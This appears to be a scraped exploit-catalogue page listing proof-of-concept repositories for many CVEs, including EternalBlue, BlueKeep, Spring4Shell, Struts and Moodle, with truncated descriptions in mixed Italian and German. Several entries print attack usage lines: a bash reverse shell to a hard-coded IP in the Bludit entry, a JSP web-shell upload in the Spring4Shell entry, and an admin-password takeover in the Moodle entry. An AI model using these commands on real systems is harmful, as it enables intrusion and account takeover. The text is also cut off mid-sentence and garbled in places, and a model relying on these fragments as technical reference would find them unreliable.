CVE-2023-42793

CVE-2023-42793 Solo a scopo educativo PoC per CVE-2023-42793 Utilizzo CVE-2023-42793admin.sh: root@kitploit: chmod +x CVE-2023-42793admin.sh ./CVE-2023-42793admin.sh ip/domainname port Prova di funzionamento: Utilizzo CVE-2023-42793rce.sh: root@kitploit: chmod +x CVE-2023-42793rce.sh...

CVE-2017-0144---EtneralBlue-MS17-010-Remote-Code-Execution

CVE-2017-0144---EternalBlue-MS17-010-Remote-Code-Execution Die Angreifermaschine ist Kali Linux und Windows Server 2008 R2 als Zielmaschine. Importieren Sie den Windows Server 2008 R2 von der angegebenen https://drive.google.com/drive/folders/146ViggeQl0pSpzotcAhpd3h9UP7fFOxJ?usp=sharing in Ihre...

Check-vuln-CVE-2019-0708

CVE-2019-0708 Unauthenticated CVE-2019-0708 „BlueKeep“ Scanner PoC von @JaGoTu und @zerosum0x0. Metasploit-Modul PR: https://github.com/rapid7/metasploit-framework/pull/11869 In diesem Repository Ein Scanner-Fork von rdesktop, der erkennen kann, ob ein Host anfällig für CVE-2019-0708 Microsoft...

CVE-2004-1561

CVE-2004-1561 Icecast Header Overwrite buffer overflow RCE Aggiornamento per 568-edit.c Sono riuscito a far funzionare l'. Modificato secondo...

CVE-2023-50164-ApacheStruts2-Docker

CVE-2023-50164 : Container Docker vulnerabile Apache Struts 2 Apache ha recentemente pubblicato un advisory relativo a CVE-2023-50164, una vulnerabilità critica con un punteggio di gravità di 9.8 che colpisce Apache Struts 2. CVE-2023-50164 è strettamente legata all'architettura Apache Struts di...

CVE-2017-12149

CVE-2017-12149 Jboss Deserializzazione Java RCE CVE-2017-12149 Lo script Python utilizza ysoserial per generare dinamicamente il payload. Pertanto è richiesto anche Java...

cve-2017-5638

cve-2017-5638 cve-2017-5638 Esempio di sito vulnerabile Questo progetto mira a dimostrare lo sfruttamento di CVE-2017-5638 per scopi educativi. Per maggiori informazioni, vedi https://cwiki.apache.org/confluence/display/WW/S2-045 Disclaimer legale Questo progetto è realizzato esclusivamente per...

CVE-2021-22941

Uso python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 Riferimento https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...

CVE-2017-11882-

CVE-2017-11882 43b lo script originale proviene da https://github.com/embedi/CVE-2017-11882 109b lo script originale proviene da https://github.com/unamer/CVE-2017-11882/ un saluto, ora il codice di unamer può eseguire shellcode CVE-2017-11882:...

CVE-2022-30136

CVE-2022-30136 PoC di exploit remoto per Windows Network File System autore: Ricardo Narvaja Solo a scopo dimostrativo. L'exploit completo funziona su sistemi Windows Server vulnerabili. Consulta l'analisi Analysis of CVE-2022-30136 “Windows Network File System Vulnerability“. Utilizzo Analisi di...

CVE-2024-4577

CVE-2024-4577 Exploit PoC Descrizione Questo repository contiene un proof-of-concept PoC per CVE-2024-4577, una vulnerabilità critica che colpisce tutte le versioni di PHP in esecuzione su Windows. La vulnerabilità consente agli aggressori di eseguire codice arbitrario da remoto. Il difetto...

spring4shell-CVE-2022-22965

Einfacher Spring4Shell-POC Prüfen, ob der Endpunkt verwundbar ist python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check Verwundbaren Endpunkt ausnutzen python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit Befehl auf der...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE autenticato Utilizzo python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Esempio...

CVE-2021-26832

CVE-2021-26832 Descrizione suggerita Cross Site Scripting XSS nel modulo della pagina "Reset Password" di Priority Enterprise Management System v8.00 consente agli aggressori di eseguire javascript per conto della vittima inviando un URL dannoso o indirizzando la vittima a un sito dannoso. Tipo d...

vscode-rce-electrovolt

vscode-rce-electrovolt CVE-2021-43908 https://blog.electrovolt.io/posts/vscode-rce/...

CVE-2022-35737

CVE-2022-35737 Overflow di intero nella funzione sqlite3strvappendf di SQLite3. CVSS 6.7 AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H CVE-2022-35737 è stato introdotto in SQLite versione 1.0.12 e corretto nella release 3.39.2, disponibile il 21 luglio 2022. È sfruttabile su sistemi a 64 bit e la...

CVE-2021-43287

CVE-2021-43287 POC: pocsuite -r CVE-2021-43287GoCDfilereadPOCEXP -u url EXP: pocsuite -r CVE-2021-43287GoCDfilereadPOCEXP -u url --attack --command "command" Dichiarazione di non responsabilità Questo strumento è solo per studio, ricerca e auto-esame. Non deve essere usato per scopi illegali. Tut...

cve-2021-1647

CVE-2021-1647 Vulnerabilità di esecuzione remota del codice in Microsoft Defender INFORMAZIONI Password:infected...

CVE-2017-7269-exploit

Modifiziert auf Basis von https://github.com/edwardz246003/IISexploit.git Verwendung root@kitploit: -h : Host auswählen Standard: 127.0.0.1 -p : Port auswählen Standard: 80 Am Ende den command-Befehl anhängen Standard: regedit; das Skript unterstützt derzeit nur maximal 8 Zeichen...

CVE-2021-36394

CVE-2021-36394 Aggiorna tabella o cambia password Admin: Codice personalizzato $newpassword = "Accounttakedover123"; Quindi esegui: $ CVE2021-36394.php http://victim/pathtomoodle Esegui funzione Codice personalizzato $function = "header"; $param = "Hacked: by0d0ff9"; Quindi esegui: $...